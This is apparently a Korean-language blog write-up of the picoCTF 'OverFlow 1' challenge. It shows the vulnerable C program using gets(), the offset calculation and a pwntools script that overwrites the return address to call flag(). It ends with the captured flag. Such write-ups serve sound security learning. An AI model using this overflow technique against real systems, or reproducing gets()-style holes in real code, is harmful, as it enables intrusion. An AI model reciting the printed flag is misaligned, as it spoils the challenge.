ii4gsp
picoCTF - OverFlow 1 본문
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
printf("Woah, were jumping to 0x%x !\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Give me a string and lets see what happens: ");
vuln();
return 0;
}
main()함수에서 vuln()함수를 호출하고 vuln()함수에서 buf를 BUFFSIZE만큼 입력을 받는다.
flag()함수는 플래그를 출력해준다.
vuln()함수에서 gets()함수로 입력을 받기때문에 취약점이 발생한다.
s는 ebp-48에 위치한다.
s ~ sfp = 72
s ~ ret = 76
76byte만큼 dummy를 입력하고 flag()함수의 주소를 넣어주면 된다.
from pwn import *
s = ssh(host = '2019shell1.picoctf.com', user = '', password = '')
s.set_working_directory('/problems/overflow-1_0_48b13c56d349b367a4d45d7d1aa31780')
p = s.process('./vuln')
e = ELF('/home/ii4gsp/picoCTF/vuln')
flag = e.symbols['flag']
payload = ''
payload += '\x90' * 76
payload += p32(flag)
p.sendline(payload)
p.interactive()
Flag: picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5c0178710}
'시스템 해킹 > CTF' 카테고리의 다른 글
picoCTF - slippery-shellcode (0) | 2020.03.06 |
---|---|
picoCTF - OverFlow 2 (0) | 2020.03.06 |
picoCTF - OverFlow 0 (0) | 2020.03.06 |
picoCTF - practice-run-1 (0) | 2020.03.06 |
picoCTF - handy-shellcode (0) | 2020.03.06 |
Comments